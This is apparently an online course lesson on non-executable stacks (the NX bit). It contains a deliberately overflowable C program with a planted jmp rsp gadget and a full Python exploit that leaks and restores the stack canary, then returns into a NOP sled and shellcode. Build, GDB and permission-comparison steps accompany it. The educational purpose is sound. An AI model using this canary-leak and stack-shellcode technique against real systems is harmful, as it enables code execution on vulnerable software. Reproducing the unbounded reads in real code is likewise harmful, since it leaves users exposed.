Skip to content
Courses

Non-Executable Stacks

MitigationsLesson 3 of 760 minutesLessonNo lab next

The canary was not the only answer to the stack buffer overflow. Most of the damage from buffer overflow style attacks were coming from attackers running shellcode that they had embedded into the program, usually through data on the stack.

But reasonably, if you think about it, there’s no good reason a regular user would ever have to run code on the stack during the normal use of a program. So why is it possible to execute bytes on the stack at all?

Solar Designer wrote a non-executable-stack patch for Linux, discussed on the kernel list in June 1997, and pretty soon the NX bit was introduced into most modern processors, allowing operating system developers to mark certain areas of memory as non-executable. This greatly hampered the ability for attackers to run their own arbitrary code by overrunning the stack buffer.

We’ll compare two builds of the same program, with and without permission to execute from the stack.

Create a fresh working directory and move into it:

Terminal window
mkdir -p ~/underdunn-course/non-executable-stack ~/underdunn-course/notes
cd ~/underdunn-course/non-executable-stack

Save this complete program as notes.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((naked, used))
void helpful_jump(void)
{
__asm__("jmp *%rsp");
}
static void session(void)
{
char note[256] = {0};
puts("Note:");
read(0, note, 265);
printf("Filed: %s\n", note);
puts("Revise?");
read(0, note, 512);
printf("Filed: %s\n", note);
}
int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
puts("Incident desk.");
session();
puts("Desk closed.");
return 0;
}

The shape is the one from the last lesson, with a larger buffer: two reads into note with an echo between them, so a leak can be spent in the same run. setvbuf disables output buffering so the solver can see each prompt before it sends the next input.

The small helpful_jump function is build scaffolding. naked prevents the compiler from adding its usual function setup and cleanup, used keeps the helper in the binary, and __asm__ supplies its single instruction. You do not need to write inline assembly here.

That instruction gives the program a helpful jmp rsp gadget, which jumps to the shellcode. Treat it as a supplied destination for this comparison; the ROP lesson explains gadgets and the tools used to find them.

Build it twice. The first requests an executable stack, as in Executing Code on the Stack:

Terminal window
gcc -g -O0 -fno-omit-frame-pointer -no-pie -z execstack notes.c -o notes-exec

The second is that command with -z execstack taken off:

Terminal window
gcc -g -O0 -fno-omit-frame-pointer -no-pie notes.c -o notes-bare

The second command leaves stack permissions to the toolchain’s default, while both builds retain the canary check because neither disables the course compiler’s protection.

Keep address randomization disabled, as it was in the stack-smashing lessons. We will turn it back on when it becomes the subject of its own lesson:

Terminal window
sudo sysctl -w kernel.randomize_va_space=0

Ropinator, the gadget finder used to prepare the course binary, finds the supplied jump at 0x4011ba in the recorded build. Confirm the address in your binary with objdump; gadget-search tooling gets its full introduction in the ROP lesson:

Terminal window
objdump -d -Mintel ./notes-exec | sed -n '/<helpful_jump>:/,+2p'
00000000004011b6 <helpful_jump>:
4011b6: endbr64
4011ba: jmp rsp
Terminal window
objdump -d -Mintel ./notes-exec | sed -n '/<session>:/,/^$/p' | head -8
4011bf: endbr64
4011c3: push rbp
4011c4: mov rbp,rsp
4011c7: sub rsp,0x110
4011ce: mov rax,QWORD PTR fs:0x28
4011d7: mov QWORD PTR [rbp-0x8],rax
4011db: xor eax,eax
4011dd: mov QWORD PTR [rbp-0x110],0x0

The frame layout is:

The protected frame in session

Byte offsets from the start of note. Higher addresses at the top.

  1. Offsets 280–287
  2. Offsets 272–279
  3. Offsets 264–271
    Stack canary8 bytes
  4. Offsets 256–263
    Padding8 bytes
  5. Offsets 0–255
    note[0–255]256 bytes · grouped

Region heights are not to scale. Pointers show the established frame, before teardown.

sub rsp,0x110 reserves 272 bytes and [rbp-0x110] is where the zeroing starts, so note sits at the bottom. The canary is 264 bytes above it and the return slot 280, which takes a 288-byte input to cover.

The first read is capped at 265, which reaches the canary’s first byte and stops. That is the same arrangement the last lesson’s program had, and for the same reason.

Save this complete script as solve.py:

import os
import subprocess
import sys
from struct import pack, unpack
if len(sys.argv) not in (3, 4) or (len(sys.argv) == 4 and sys.argv[3] != "--pause"):
raise SystemExit("usage: python3 solve.py TARGET JMP_RSP [--pause]")
target = sys.argv[1]
jmp_rsp = int(sys.argv[2], 0)
pause = len(sys.argv) == 4
TO_CANARY = 264
TO_RETURN = 280
SHELLCODE = bytes.fromhex(
"488d351d000000" # lea rsi,[rip+0x1d]
"bf01000000" # mov edi,1
"ba19000000" # mov edx,25
"b801000000" # mov eax,1
"0f05" # syscall
"bf00000000" # mov edi,0
"b83c000000" # mov eax,60
"0f05" # syscall
) + b"Executing from the stack."
def read_until(stream, marker):
data = bytearray()
while marker not in data:
chunk = os.read(stream.fileno(), 4096)
if not chunk:
raise RuntimeError(f"process ended before {marker!r}")
data.extend(chunk)
return bytes(data)
p = subprocess.Popen([target], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
read_until(p.stdout, b"Note:\n")
with open(f"/proc/{p.pid}/maps", encoding="ascii") as mappings:
stack_map = next(line.strip() for line in mappings if "[stack]" in line)
stack_perms = stack_map.split()[1]
# Overwrite the canary's zero byte, then recover the other seven bytes
# from the first Filed line.
p.stdin.write(b"A" * (TO_CANARY + 1))
p.stdin.flush()
leak = read_until(p.stdout, b"Revise?\n")
body = leak.split(b"Filed: ", 1)[1]
canary = b"\x00" + body[TO_CANARY + 1:TO_CANARY + 8]
# Restore the canary, replace the saved return address with the supplied
# jump, then put a short NOP sled and the shellcode where rsp points.
sled = 32
stage2 = (b"B" * TO_CANARY + canary
+ b"C" * (TO_RETURN - TO_CANARY - 8)
+ pack("<Q", jmp_rsp) + b"\x90" * sled + SHELLCODE)
if pause:
print(f"target pid {p.pid}; attach GDB, continue it, then press Enter here")
input()
p.stdin.write(stage2)
p.stdin.close()
output = p.stdout.read()
status = p.wait()
lines = output.decode(errors="replace").strip().splitlines()
print(f"canary {unpack('<Q', canary)[0]:016x} jmp rsp {jmp_rsp:#x} "
f"sled {sled} total {len(stage2)}")
print("stack permissions", stack_perms)
print(f"status {status} last line: {lines[-1] if lines else '(no output)'}")

The script restores this process’s canary and uses the supplied jmp rsp gadget to reach a short sled and the shellcode. No stack address appears in the input.

Linux lists a live process’s memory mappings in /proc/PID/maps. The script reads the row named [stack] only to report its permission letters; it does not take an address from that row or put one in the payload.

Run it against the executable-stack build:

Terminal window
python3 solve.py ./notes-exec 0x4011ba
canary 5643090d0a4a6000 jmp rsp 0x4011ba sled 32 total 381
stack permissions rwxp
status 0 last line: Executing from the stack.

The run printed the payload’s message and exited with status 0.

Compare the two results: what changes when execute permission is removed, and what still happens?

Terminal window
python3 solve.py ./notes-bare 0x4011ba
canary c05ebe8296354000 jmp rsp 0x4011ba sled 32 total 381
stack permissions rw-p
status -11 last line: Filed: ...

Only the executable-stack build prints the payload’s message. The ordinary build ends with signal 11, a segmentation fault. Both inputs use the same program address and contain no stack address.

The solver reported a value from the echo, and the program reached its second Filed: line. That line comes after the second read but before the canary check.

So we know execution reached the output. We haven’t yet accounted for what happened in the epilogue.

There was no stack-smashing diagnostic, but a fault before the check could also leave none. Where the debugger stops gives us the next part of the explanation.

Run the ordinary build again with the solver’s pause option:

Terminal window
python3 solve.py ./notes-bare 0x4011ba --pause

The solver prints the target’s process ID after recovering the canary, but before sending the second input. In another terminal, attach GDB to that process:

Terminal window
sudo gdb -q -p TARGET_PID

Tell GDB to continue. The target is waiting for the solver’s second input, so this command will remain active:

(gdb) set disassembly-flavor intel
(gdb) continue

Return to the solver terminal and press Enter. GDB stops when the process tries to fetch its first instruction from the stack.

Inspect both pointers and decode the bytes at the stopped instruction:

(gdb) info registers rip rsp
(gdb) x/4i $rip
(gdb) x/i 0x4011ba

rip and rsp hold the same value. The bytes at that address decode as nop instructions, while the fixed program address contains jmp rsp. Reading and decoding those bytes is one thing; the process having permission to execute them is another.

The file records the requested stack permissions before anything runs:

Terminal window
readelf -l ./notes-exec | grep -A 1 GNU_STACK
readelf -l ./notes-bare | grep -A 1 GNU_STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x10

These rows describe stack permissions rather than a block of contents to load, and the loader uses them when mapping the stack.

Now compare those headers with the permissions captured by solve.py while each process was alive. The executable build reported rwxp; the ordinary build reported rw-p. Inspect the paused process directly to place the stopped instruction within the live mapping:

(gdb) info proc mappings

When you have recorded the mapping, let the pending fault terminate the target and then leave GDB:

(gdb) signal SIGSEGV
(gdb) quit

The solver will finish and report the target’s status.

There are two useful observations in those mappings:

  • In the stopped run, rip falls within the range marked [stack].
  • One permission letter differs: the second mapping allows reads and writes, but not execution.

The address exists and the instruction bytes are there. Alongside the stopped instruction pointer, the missing execute permission explains the fault as an execution-permission failure rather than a missing mapping.

Compare the disassembly of the two builds:

Terminal window
diff <(objdump -d ./notes-exec | tail -n +3) <(objdump -d ./notes-bare | tail -n +3)

The two <(...) expressions are Bash process substitutions: each presents one command’s output to diff as if it were a file. Skipping the first two lines removes the filenames, which are expected to differ.

For these builds the comparison prints nothing: the disassembly matches, including the canary check. The stack permissions changed without changing those instructions.

Reaching the recorded destination after the check is consistent with the canary comparison having passed. That’s more than the earlier Filed: line told us, because that output came before the comparison.

The same stack bytes, with and without execute permission

Both cases restore the canary, return through the same supplied jump and reach the same bytes at rsp.

Before ret

Stack memory · session

Sled and payload · 93 bytesoffsets 288–380

32 × 90 (nop) · then shellcode

Execution and permissions

rip
session: ret
rsp
Return slot
Stack permissions
Read / write / execute
Instruction source
Program code

The stack contents are identical in these two cases. Removing execute permission does not undo the memory writes.

Blue underlines mark changed values; dashed outlines mark current sources or destinations. Byte addresses increase left to right. Unshown values are omitted, not zero.

Knowledge check

Question 1 of 3

In the non-executable run the solver printed a canary and the program reached its second Filed: line. What does that establish?

Keep each build’s output with its own permissions and fault report. Two segmentation faults aren’t necessarily the same failure.

  • If both builds fault, compare their own mappings and fault reports rather than assuming a shared cause.
  • If permissions differ from the recorded rows, inspect the binary’s GNU_STACK header; the command line alone doesn’t tell you what the file contains.
  • A stack-smashing diagnostic means the canary check failed, not that execute permission caused a fault. The earlier cause of the mismatch is still a separate question.
  • If a process hangs, keep its last output. That is where the transcript ends, not necessarily where the process is waiting.
  • If GDB cannot attach, confirm the PID still exists and use sudo inside the disposable course VM. The solver must still be waiting at its pause prompt.
  • If GDB follows the Python process instead, attach directly to the target PID printed by the solver rather than starting the solver under GDB.

To recover a known state, rebuild both binaries and rerun solve.py with the gadget address from that build. Keep each run’s reported canary, permissions, and result together.

Suppose somebody says: “The stack is non-executable now, so the reads into note are safe.”

What does the permission change control, and what still needs fixing in the source?

Check your reasoning

Both reads still specify counts larger than the destination buffer can hold. Execute permission doesn’t constrain those writes.

Correcting the input handling repairs the source defect. Preventing execution from the stack limits a consequence of it. They do different jobs; that doesn’t make either job unnecessary.

The permission change applies to the stack, but the program still needs executable code elsewhere to run normally. That remaining code is what Solar Designer turned to in his follow-up.